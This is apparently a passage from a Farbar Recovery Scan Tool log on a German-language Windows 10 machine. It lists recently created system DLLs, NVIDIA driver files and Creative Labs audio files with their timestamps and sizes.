2017-05-30 08:01 - 2017-04-28 03:11 - 02158544 _____ (Microsoft Corporation) C:\windows\SysWOW64\iertutil.dll
2017-05-30 08:01 - 2017-04-28 03:09 - 01557288 _____ (Microsoft Corporation) C:\windows\SysWOW64\crypt32.dll
2017-05-30 08:01 - 2017-04-28 03:08 - 02399728 _____ (Microsoft Corporation) C:\windows\system32\KernelBase.dll
2017-05-30 08:01 - 2017-04-28 03:08 - 02330520 _____ (Microsoft Corporation) C:\windows\SysWOW64\combase.dll
2017-05-30 08:01 - 2017-04-28 03:07 - 00988168 _____ (Microsoft Corporation) C:\windows\SysWOW64\ole32.dll
2017-05-30 08:01 - 2017-04-28 03:06 - 00708712 _____ (Microsoft Corporation) C:\windows\system32\kernel32.dll
2017-05-30 08:01 - 2017-04-28 03:03 - 00667040 _____ (Microsoft Corporation) C:\windows\system32\ci.dll
2017-05-30 08:01 - 2017-04-28 02:59 - 02635336 _____ (Microsoft Corporation) C:\windows\system32\iertutil.dll
2017-05-30 08:01 - 2017-04-28 02:59 - 00388000 _____ (Microsoft Corporation) C:\windows\system32\Drivers\USBXHCI.SYS
2017-05-30 08:01 - 2017-04-28 02:59 - 00027040 _____ (Microsoft Corporation) C:\windows\system32\browser_broker.exe
2017-05-30 08:01 - 2017-04-28 02:58 - 01852776 _____ (Microsoft Corporation) C:\windows\system32\crypt32.dll
2017-05-30 08:01 - 2017-04-28 02:57 - 03116184 _____ (Microsoft Corporation) C:\windows\system32\combase.dll
2017-05-30 08:01 - 2017-04-28 02:55 - 01325456 _____ (Microsoft Corporation) C:\windows\system32\ole32.dll
2017-05-30 08:01 - 2017-04-28 02:52 - 02957824 _____ (Microsoft Corporation) C:\windows\SysWOW64\win32kfull.sys
2017-05-30 08:01 - 2017-04-28 02:52 - 00790528 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.dll
2017-05-30 08:01 - 2017-04-28 02:49 - 00072192 _____ (Microsoft Corporation) C:\windows\SysWOW64\tdc.ocx
2017-05-30 08:01 - 2017-04-28 02:44 - 00266240 _____ (Microsoft Corporation) C:\windows\SysWOW64\dxtrans.dll
2017-05-30 08:01 - 2017-04-28 02:40 - 00799232 _____ (Microsoft Corporation) C:\windows\SysWOW64\TokenBroker.dll
2017-05-30 08:01 - 2017-04-28 02:39 - 03655680 _____ (Microsoft Corporation) C:\windows\SysWOW64\jscript9.dll
2017-05-30 08:01 - 2017-04-28 02:39 - 02859520 _____ (Microsoft Corporation) C:\windows\SysWOW64\wininet.dll
2017-05-30 08:01 - 2017-04-28 02:37 - 01626624 _____ (Microsoft Corporation) C:\windows\SysWOW64\urlmon.dll
2017-05-30 08:01 - 2017-04-28 02:34 - 00891904 _____ (Microsoft Corporation) C:\windows\SysWOW64\autochk.exe
2017-05-30 08:01 - 2017-04-28 02:15 - 03672064 _____ (Microsoft Corporation) C:\windows\system32\win32kfull.sys
2017-05-30 08:01 - 2017-04-28 02:15 - 01051648 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.dll
2017-05-30 08:01 - 2017-04-28 02:11 - 00082944 _____ (Microsoft Corporation) C:\windows\system32\tdc.ocx
2017-05-30 08:01 - 2017-04-28 02:11 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\Drivers\BasicRender.sys
2017-05-30 08:01 - 2017-04-28 02:08 - 00314880 _____ (Microsoft Corporation) C:\windows\system32\SettingsEnvironment.Desktop.dll
2017-05-30 08:01 - 2017-04-28 02:06 - 01302528 _____ (Microsoft Corporation) C:\windows\system32\MSVPXENC.dll
2017-05-30 08:01 - 2017-04-28 02:06 - 00386560 _____ (Microsoft Corporation) C:\windows\system32\iedkcs32.dll
2017-05-30 08:01 - 2017-04-28 02:06 - 00274944 _____ (Microsoft Corporation) C:\windows\system32\dxtrans.dll
2017-05-30 08:01 - 2017-04-28 02:03 - 01085440 _____ (Microsoft Corporation) C:\windows\system32\rpcss.dll
2017-05-30 08:01 - 2017-04-28 02:03 - 00751104 _____ (Microsoft Corporation) C:\windows\system32\msfeeds.dll
2017-05-30 08:01 - 2017-04-28 02:01 - 02077184 _____ (Microsoft Corporation) C:\windows\system32\inetcpl.cpl
2017-05-30 08:01 - 2017-04-28 01:59 - 03307008 _____ (Microsoft Corporation) C:\windows\system32\wininet.dll
2017-05-30 08:01 - 2017-04-28 01:58 - 01054208 _____ (Microsoft Corporation) C:\windows\system32\TokenBroker.dll
2017-05-30 08:01 - 2017-04-28 01:57 - 04730368 _____ (Microsoft Corporation) C:\windows\system32\jscript9.dll
2017-05-30 08:01 - 2017-04-28 01:57 - 01803264 _____ (Microsoft Corporation) C:\windows\system32\urlmon.dll
2017-05-30 08:01 - 2017-04-28 01:54 - 00985600 _____ (Microsoft Corporation) C:\windows\system32\TSWorkspace.dll
2017-05-30 08:01 - 2017-04-28 01:54 - 00970240 _____ (Microsoft Corporation) C:\windows\system32\autochk.exe
2017-05-30 08:01 - 2017-04-28 01:54 - 00722944 _____ (Microsoft Corporation) C:\windows\system32\Drivers\srv2.sys
2017-05-30 08:01 - 2017-04-28 01:54 - 00414208 _____ (Microsoft Corporation) C:\windows\system32\Drivers\srv.sys
2017-05-30 08:01 - 2017-04-19 09:06 - 00651680 _____ (Microsoft Corporation) C:\windows\system32\SettingSyncHost.exe
2017-05-30 08:01 - 2017-04-19 09:04 - 00142240 _____ (Microsoft Corporation) C:\windows\system32\Drivers\wcifs.sys
2017-05-30 08:01 - 2017-04-19 09:02 - 00716440 _____ (Microsoft Corporation) C:\windows\system32\MSVideoDSP.dll
2017-05-30 08:01 - 2017-04-19 08:19 - 00052736 _____ (Microsoft Corporation) C:\windows\system32\musdialoghandlers.dll
2017-05-30 08:01 - 2017-04-19 08:18 - 00118784 _____ (Microsoft Corporation) C:\windows\system32\Drivers\netvsc.sys
2017-05-30 08:01 - 2017-04-19 08:16 - 00280064 _____ (Microsoft Corporation) C:\windows\system32\WiFiDisplay.dll
2017-05-30 08:01 - 2017-04-19 08:15 - 00232960 _____ (Microsoft Corporation) C:\windows\system32\wcmcsp.dll
2017-05-30 08:01 - 2017-04-19 08:14 - 00646656 _____ (Microsoft Corporation) C:\windows\system32\LockHostingFramework.dll
2017-05-30 08:01 - 2017-04-19 08:13 - 00980992 _____ (Microsoft Corporation) C:\windows\system32\Drivers\bthport.sys
2017-05-30 08:01 - 2017-04-19 08:12 - 00805888 _____ (Microsoft Corporation) C:\windows\system32\ieproxy.dll
2017-05-30 08:01 - 2017-04-19 08:12 - 00203776 _____ (Microsoft Corporation) C:\windows\system32\PackageStateRoaming.dll
2017-05-30 08:01 - 2017-04-19 08:11 - 04446208 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_nt.dll
2017-05-30 08:01 - 2017-04-19 08:10 - 04175872 _____ (Microsoft Corporation) C:\windows\system32\StartTileData.dll
2017-05-30 08:01 - 2017-04-19 08:10 - 02765824 _____ (Microsoft Corporation) C:\windows\system32\Windows.Shell.UnifiedTile.CuratedTileCollections.dll
2017-05-30 08:01 - 2017-04-19 08:10 - 01600512 _____ (Microsoft Corporation) C:\windows\system32\dbghelp.dll
2017-05-30 08:01 - 2017-04-19 08:07 - 01242624 _____ (Microsoft Corporation) C:\windows\system32\SharedStartModel.dll
2017-05-30 08:01 - 2017-04-19 08:07 - 00707072 _____ (Microsoft Corporation) C:\windows\system32\winlogon.exe
2017-05-30 08:01 - 2017-04-19 08:02 - 00559000 _____ (Microsoft Corporation) C:\windows\SysWOW64\SettingSyncHost.exe
2017-05-30 08:01 - 2017-04-19 07:59 - 01087488 _____ (Microsoft Corporation) C:\windows\system32\reseteng.dll
2017-05-30 08:01 - 2017-04-19 07:37 - 00233472 _____ (Microsoft Corporation) C:\windows\SysWOW64\WiFiDisplay.dll
2017-05-30 08:01 - 2017-04-19 07:34 - 00358400 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieproxy.dll
2017-05-30 08:01 - 2017-04-19 07:34 - 00175616 _____ (Microsoft Corporation) C:\windows\SysWOW64\PackageStateRoaming.dll
2017-05-30 08:01 - 2017-04-19 07:32 - 01285120 _____ (Microsoft Corporation) C:\windows\SysWOW64\dbghelp.dll
2017-05-30 08:01 - 2017-04-14 02:35 - 00741784 _____ (Microsoft Corporation) C:\windows\system32\Windows.Internal.Shell.Broker.dll
2017-05-30 08:01 - 2017-04-14 02:35 - 00673112 _____ (Microsoft Corporation) C:\windows\system32\AppResolver.dll
2017-05-30 08:01 - 2017-04-14 02:33 - 02085280 _____ (Microsoft Corporation) C:\windows\system32\UpdateAgent.dll
2017-05-30 08:01 - 2017-04-14 02:32 - 01320352 _____ (Microsoft Corporation) C:\windows\system32\wpx.dll
2017-05-30 08:01 - 2017-04-14 02:30 - 00105456 _____ (Microsoft Corporation) C:\windows\system32\imagehlp.dll
2017-05-30 08:01 - 2017-04-14 01:43 - 00523296 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppResolver.dll
2017-05-30 08:01 - 2017-04-14 01:40 - 00095584 _____ (Microsoft Corporation) C:\windows\SysWOW64\imagehlp.dll
2017-05-30 08:01 - 2017-04-14 01:39 - 00974848 _____ (Microsoft Corporation) C:\windows\system32\mmgaserver.exe
2017-05-30 08:01 - 2017-04-14 01:39 - 00334336 _____ (Microsoft Corporation) C:\windows\system32\wc_storage.dll
2017-05-30 08:01 - 2017-04-14 01:39 - 00155136 _____ (Microsoft Corporation) C:\windows\system32\VEStoreEventHandlers.dll
2017-05-30 08:01 - 2017-04-14 01:38 - 00208896 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.AppDefaults.dll
2017-05-30 08:01 - 2017-04-14 01:37 - 00450048 _____ (Microsoft Corporation) C:\windows\system32\bcdedit.exe
2017-05-30 08:01 - 2017-04-14 01:37 - 00301056 _____ (Microsoft Corporation) C:\windows\system32\EnterpriseAppMgmtSvc.dll
2017-05-30 08:01 - 2017-04-14 01:37 - 00246272 _____ (Microsoft Corporation) C:\windows\system32\domgmt.dll
2017-05-30 08:01 - 2017-04-14 01:36 - 00524800 _____ (Microsoft Corporation) C:\windows\system32\TileDataRepository.dll
2017-05-30 08:01 - 2017-04-14 01:36 - 00296448 _____ (Microsoft Corporation) C:\windows\system32\CloudBackupSettings.dll
2017-05-30 08:01 - 2017-04-14 01:35 - 01433600 _____ (Microsoft Corporation) C:\windows\system32\SystemSettings.Handlers.dll
2017-05-30 08:01 - 2017-04-14 01:35 - 00510976 _____ (Microsoft Corporation) C:\windows\system32\TDLMigration.dll
2017-05-30 08:01 - 2017-04-14 01:33 - 01269760 _____ (Microsoft Corporation) C:\windows\system32\enterprisecsps.dll
2017-05-30 08:01 - 2017-04-14 01:33 - 00864256 _____ (Microsoft Corporation) C:\windows\system32\NotificationController.dll
2017-05-30 08:01 - 2017-04-14 01:31 - 01611776 _____ (Microsoft Corporation) C:\windows\system32\SpeechPal.dll
2017-05-30 08:01 - 2017-04-14 01:31 - 00673280 _____ (Microsoft Corporation) C:\windows\system32\LockAppBroker.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 01583616 _____ (Microsoft Corporation) C:\windows\system32\ieapfltr.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 01295872 _____ (Microsoft Corporation) C:\windows\system32\dosvc.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 00840192 _____ (Microsoft Corporation) C:\windows\system32\fveapi.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 00647168 _____ (Microsoft Corporation) C:\windows\system32\RDXService.dll
2017-05-30 08:01 - 2017-04-14 01:28 - 02443776 _____ (Microsoft Corporation) C:\windows\system32\wuaueng.dll
2017-05-30 08:01 - 2017-04-14 01:26 - 01257472 _____ (Microsoft Corporation) C:\windows\system32\wpnapps.dll
2017-05-30 08:01 - 2017-04-14 01:24 - 01628160 _____ (Microsoft Corporation) C:\windows\system32\comsvcs.dll
2017-05-30 08:01 - 2017-04-14 01:21 - 00078848 _____ (Microsoft Corporation) C:\windows\system32\offreg.dll
2017-05-30 08:01 - 2017-04-14 01:18 - 00731136 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmgaserver.exe
2017-05-30 08:01 - 2017-04-14 01:15 - 00282112 _____ (Microsoft Corporation) C:\windows\SysWOW64\VEEventDispatcher.dll
2017-05-30 08:01 - 2017-04-14 01:15 - 00232448 _____ (Microsoft Corporation) C:\windows\SysWOW64\CloudBackupSettings.dll
2017-05-30 08:01 - 2017-04-14 01:08 - 01463296 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieapfltr.dll
2017-05-30 08:01 - 2017-04-14 01:06 - 00987648 _____ (Microsoft Corporation) C:\windows\SysWOW64\wpnapps.dll
2017-05-30 08:01 - 2017-04-14 01:04 - 00392704 _____ (Microsoft Corporation) C:\windows\SysWOW64\PlayToManager.dll
2017-05-30 08:01 - 2017-04-14 01:01 - 00057856 _____ (Microsoft Corporation) C:\windows\SysWOW64\offreg.dll
2017-05-30 08:01 - 2017-04-01 03:04 - 00382368 _____ (Adobe Systems Incorporated) C:\windows\system32\atmfd.dll
2017-05-30 08:01 - 2017-04-01 02:57 - 00311192 _____ (Adobe Systems Incorporated) C:\windows\SysWOW64\atmfd.dll
2017-05-30 08:01 - 2017-04-01 02:52 - 00409504 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dxgmms1.sys
2017-05-30 08:01 - 2017-04-01 02:51 - 01760264 _____ (Microsoft Corporation) C:\windows\system32\WindowsCodecs.dll
2017-05-30 08:01 - 2017-04-01 02:29 - 01518088 _____ (Microsoft Corporation) C:\windows\SysWOW64\WindowsCodecs.dll
2017-05-30 08:01 - 2017-04-01 02:28 - 00354360 _____ (Microsoft Corporation) C:\windows\SysWOW64\bcryptprimitives.dll
2017-05-30 08:01 - 2017-04-01 02:09 - 00094720 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserDataTimeUtil.dll
2017-05-30 08:01 - 2017-04-01 02:04 - 00364032 _____ (Microsoft Corporation) C:\windows\SysWOW64\msIso.dll
2017-05-30 08:01 - 2017-04-01 02:04 - 00119296 _____ (Microsoft Corporation) C:\windows\system32\UserDataTimeUtil.dll
2017-05-30 08:01 - 2017-04-01 01:58 - 01506816 _____ (Microsoft Corporation) C:\windows\SysWOW64\quartz.dll
2017-05-30 08:01 - 2017-04-01 01:58 - 00433664 _____ (Microsoft Corporation) C:\windows\system32\msIso.dll
2017-05-30 08:01 - 2017-04-01 01:55 - 00545792 _____ (Microsoft Corporation) C:\windows\system32\winspool.drv
2017-05-30 08:01 - 2017-04-01 01:52 - 00081408 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfmjpegdec.dll
2017-05-30 08:01 - 2017-04-01 01:52 - 00078336 _____ (Microsoft Corporation) C:\windows\SysWOW64\asycfilt.dll
2017-05-30 08:01 - 2017-04-01 01:50 - 01605632 _____ (Microsoft Corporation) C:\windows\system32\quartz.dll
2017-05-30 08:01 - 2017-04-01 01:45 - 00091648 _____ (Microsoft Corporation) C:\windows\system32\mfmjpegdec.dll
2017-05-30 08:01 - 2017-04-01 01:44 - 00087552 _____ (Microsoft Corporation) C:\windows\system32\asycfilt.dll
2017-05-30 08:01 - 2017-03-31 23:00 - 00032004 _____ C:\windows\system32\edgehtmlpluginpolicy.bin
2017-05-30 08:00 - 2017-04-28 02:46 - 00329728 _____ (Microsoft Corporation) C:\windows\SysWOW64\webplatstorageserver.dll
2017-05-30 08:00 - 2017-04-28 02:46 - 00080384 _____ (Microsoft Corporation) C:\windows\SysWOW64\mshtmled.dll
2017-05-30 08:00 - 2017-04-28 02:45 - 00124928 _____ (Microsoft Corporation) C:\windows\SysWOW64\iepeers.dll
2017-05-30 08:00 - 2017-04-28 02:44 - 00338432 _____ (Microsoft Corporation) C:\windows\SysWOW64\iedkcs32.dll
2017-05-30 08:00 - 2017-04-28 02:42 - 00663040 _____ (Microsoft Corporation) C:\windows\SysWOW64\msfeeds.dll
2017-05-30 08:00 - 2017-04-28 02:40 - 02008576 _____ (Microsoft Corporation) C:\windows\SysWOW64\inetcpl.cpl
2017-05-30 08:00 - 2017-04-28 02:09 - 00084992 _____ (Microsoft Corporation) C:\windows\system32\MshtmlDac.dll
2017-05-30 08:00 - 2017-04-28 02:08 - 00457728 _____ (Microsoft Corporation) C:\windows\system32\webplatstorageserver.dll
2017-05-30 08:00 - 2017-04-28 02:08 - 00096256 _____ (Microsoft Corporation) C:\windows\system32\mshtmled.dll
2017-05-30 08:00 - 2017-04-28 02:07 - 00140288 _____ (Microsoft Corporation) C:\windows\system32\iepeers.dll
2017-05-30 08:00 - 2017-04-28 02:05 - 00224256 _____ (Microsoft Corporation) C:\windows\system32\ie4uinit.exe
2017-05-30 08:00 - 2017-04-28 02:04 - 00422400 _____ (Microsoft Corporation) C:\windows\system32\WpAXHolder.dll
2017-05-30 08:00 - 2017-04-28 01:52 - 00218624 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Streaming.ps.dll
2017-05-30 08:00 - 2017-04-19 08:01 - 00050176 _____ (Microsoft Corporation) C:\windows\system32\catsrvps.dll
2017-05-30 08:00 - 2017-04-14 01:41 - 00164864 _____ (Microsoft Corporation) C:\windows\system32\EnterpriseModernAppMgmtCSP.dll
2017-05-30 08:00 - 2017-04-14 01:38 - 00251904 _____ (Microsoft Corporation) C:\windows\system32\Windows.Gaming.Preview.dll
2017-05-30 08:00 - 2017-04-14 01:37 - 00315392 _____ (Microsoft Corporation) C:\windows\system32\NotificationObjFactory.dll
2017-05-30 08:00 - 2017-04-14 01:35 - 00257024 _____ (Microsoft Corporation) C:\windows\system32\webcheck.dll
2017-05-30 08:00 - 2017-04-14 01:34 - 00406528 _____ (Microsoft Corporation) C:\windows\system32\InputSwitch.dll
2017-05-30 08:00 - 2017-04-14 01:25 - 00750080 _____ (Microsoft Corporation) C:\windows\system32\StorSvc.dll
2017-05-30 08:00 - 2017-04-14 01:13 - 00354304 _____ (Microsoft Corporation) C:\windows\SysWOW64\InputSwitch.dll
2017-05-30 08:00 - 2017-04-14 01:13 - 00232960 _____ (Microsoft Corporation) C:\windows\SysWOW64\webcheck.dll
2017-05-30 08:00 - 2017-04-01 02:11 - 00038912 _____ (Adobe Systems) C:\windows\SysWOW64\atmlib.dll
2017-05-30 08:00 - 2017-04-01 02:05 - 00047104 _____ (Adobe Systems) C:\windows\system32\atmlib.dll
2017-05-30 08:00 - 2017-04-01 02:02 - 00252928 _____ (Microsoft Corporation) C:\windows\SysWOW64\XpsDocumentTargetPrint.dll
2017-05-30 08:00 - 2017-04-01 02:01 - 00429568 _____ (Microsoft Corporation) C:\windows\SysWOW64\winspool.drv
2017-05-30 08:00 - 2017-04-01 01:56 - 01060352 _____ (Microsoft Corporation) C:\windows\SysWOW64\XpsPrint.dll
2017-05-30 08:00 - 2017-04-01 01:55 - 00347136 _____ (Microsoft Corporation) C:\windows\system32\XpsDocumentTargetPrint.dll
2017-05-30 08:00 - 2017-04-01 01:50 - 01657344 _____ (Microsoft Corporation) C:\windows\system32\XpsPrint.dll
2017-05-29 16:40 - 2017-05-29 16:40 - 00000000 ____D C:\Users\****\AppData\Local\Comms
2017-05-29 16:26 - 2017-05-30 09:48 - 00000000 ___RD C:\Users\****\OneDrive
2017-05-29 16:26 - 2017-05-29 16:26 - 00000000 ____D C:\Users\****\AppData\Roaming\Intel Corporation
2017-05-29 16:24 - 2017-06-03 00:40 - 00000000 __SHD C:\Users\****\IntelGraphicsProfiles
2017-05-29 16:24 - 2017-05-31 14:04 - 00000000 ____D C:\Users\****\AppData\Local\NVIDIA Corporation
2017-05-29 16:24 - 2017-05-30 20:39 - 00000000 ____D C:\Users\****\AppData\Local\Packages
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Roaming\Adobe
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\VirtualStore
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\TileDataLayer
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\Publishers
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\ConnectedDevicesPlatform
2017-05-29 16:23 - 2017-06-02 18:10 - 00000000 ____D C:\Users\****
2017-05-29 16:23 - 2017-05-29 16:23 - 00000020 ___SH C:\Users\****\ntuser.ini
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Vorlagen
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Startmenü
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Netzwerkumgebung
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Lokale Einstellungen
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Eigene Dateien
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Druckumgebung
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Documents\Eigene Videos
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Documents\Eigene Musik
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Documents\Eigene Bilder
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programme
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\AppData\Local\Verlauf
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\AppData\Local\Anwendungsdaten
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Anwendungsdaten
2017-05-18 07:54 - 2017-05-18 07:54 - 35397536 _____ (NVIDIA Corporation) C:\windows\system32\nvoglv64.dll
2017-05-18 07:54 - 2017-05-18 07:54 - 28632152 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvoglv32.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00969632 _____ (NVIDIA Corporation) C:\windows\system32\NvIFR64.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00920664 _____ (NVIDIA Corporation) C:\windows\SysWOW64\NvIFR.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00618584 _____ (NVIDIA Corporation) C:\windows\system32\NvIFROpenGL.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00507992 _____ (NVIDIA Corporation) C:\windows\SysWOW64\NvIFROpenGL.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 40210520 _____ (NVIDIA Corporation) C:\windows\system32\nvcompiler.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 35290200 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvcompiler.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 03800992 _____ (NVIDIA Corporation) C:\windows\system32\nvcuvid.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 03256408 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvcuvid.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 01996704 _____ (NVIDIA Corporation) C:\windows\system32\nvdispco6438205.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 01598368 _____ (NVIDIA Corporation) C:\windows\system32\nvdispgenco6438205.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 01062816 _____ (NVIDIA Corporation) C:\windows\system32\NvFBC64.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 00999840 _____ (NVIDIA Corporation) C:\windows\SysWOW64\NvFBC.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 11162000 _____ (NVIDIA Corporation) C:\windows\system32\nvptxJitCompiler.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 11129704 _____ (NVIDIA Corporation) C:\windows\system32\nvcuda.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 10648520 _____ (NVIDIA Corporation) C:\windows\system32\nvopencl.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 09335528 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvcuda.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 09102488 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvptxJitCompiler.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 08891160 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvopencl.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01298696 _____ (NVIDIA Corporation) C:\windows\system32\nvEncMFTH264.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01296264 _____ (NVIDIA Corporation) C:\windows\system32\nvEncMFThevc.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01013344 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvEncMFTH264.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01011488 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvEncMFThevc.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00791792 _____ (NVIDIA Corporation) C:\windows\system32\nvEncodeAPI64.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00703880 _____ (NVIDIA Corporation) C:\windows\system32\nvfatbinaryLoader.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00626392 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvEncodeAPI.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00591672 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvfatbinaryLoader.dll
2017-05-18 04:34 - 2017-05-18 04:34 - 00000669 _____ C:\windows\SysWOW64\nv-vk32.json
2017-05-18 04:34 - 2017-05-18 04:34 - 00000669 _____ C:\windows\system32\nv-vk64.json
2017-05-13 07:06 - 2017-05-12 15:47 - 00000000 ____D C:\windows\Panther
2017-05-13 07:00 - 2017-05-12 15:23 - 00000000 ____D C:\MININT
2017-05-13 07:00 - 2016-09-19 12:21 - 00795640 _____ (Intel Corporation) C:\windows\system32\Drivers\iaStorA.sys
2017-05-13 07:00 - 2016-08-01 09:42 - 00943112 _____ (Realtek ) C:\windows\system32\Drivers\rt640x64.sys
2017-05-12 15:27 - 2017-05-29 16:19 - 00003042 _____ C:\windows\System32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473
2017-05-12 15:22 - 2017-05-12 15:22 - 00019778 _____ C:\windows\system32\results.xml
2017-05-12 15:21 - 2017-05-12 15:21 - 10238808 _____ C:\windows\SysWOW64\PerfStringBackup.INI
2017-05-12 15:21 - 2017-05-12 15:21 - 00466520 _____ (Creative Labs) C:\windows\system32\wrap_oal.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00445016 _____ (Creative Labs) C:\windows\SysWOW64\wrap_oal.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00123480 _____ (Portions (C) Creative Labs Inc. and NVIDIA Corp.) C:\windows\system32\OpenAL32.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00109144 _____ (Portions (C) Creative Labs Inc. and NVIDIA Corp.) C:\windows\SysWOW64\OpenAL32.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00000219 ___RH C:\windows\ctfile.rfc
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Intel
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Creative
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ____D C:\ProgramData\Creative
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ____D C:\Program Files (x86)\AirplaneModeInstaller
2017-05-12 15:21 - 2017-02-07 05:23 - 00809560 ____R (Creative Labs Inc.) C:\windows\SysWOW64\tmp6E6A.tmp
2017-05-12 15:21 - 2017-02-07 05:23 - 00809560 ____R (Creative Labs Inc.) C:\windows\SysWOW64\tmp6E69.tmp
2017-05-12 15:21 - 2016-12-12 10:52 - 00057606 _____ C:\windows\MBSpkrEQ.cfg
2017-05-12 15:21 - 2016-07-05 14:00 - 00005024 ____N C:\windows\MBCfg_SP_APOIM.ini
2017-05-12 15:21 - 2016-03-15 13:55 - 00089600 _____ C:\windows\system32\CmdRtr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00359424 _____ C:\windows\system32\APOMgr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00074240 _____ C:\windows\SysWOW64\CmdRtr.DLL
2017-05-12 15:21 - 2016-03-15 13:53 - 00271360 _____ C:\windows\SysWOW64\APOMngr.DLL
2017-05-12 15:21 - 2016-03-03 14:42 - 01942016 _____ (Creative) C:\windows\system32\Sens_oal.dll
2017-05-12 15:21 - 2016-03-03 14:39 - 01609728 _____ (Creative) C:\windows\SysWOW64\Sens_oal.dll
2017-05-12 15:21 - 2015-05-22 10:41 - 00378824 _____ (Creative Technology Ltd.) C:\windows\system32\ChezSC64.DLL
2017-05-12 15:21 - 2015-05-22 10:41 - 00329672 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\ChezSC32.DLL
2017-05-12 15:21 - 2015-05-04 10:05 - 00020697 _____ C:\windows\SysWOW64\MBCfg32.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00020697 _____ C:\windows\system32\MBCfg64.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00006968 _____ C:\windows\SysWOW64\MBCfgUninstall32.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00006968 _____ C:\windows\system32\MBCfgUninstall64.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00004862 ____N C:\windows\MBCfg_APOIM.ini
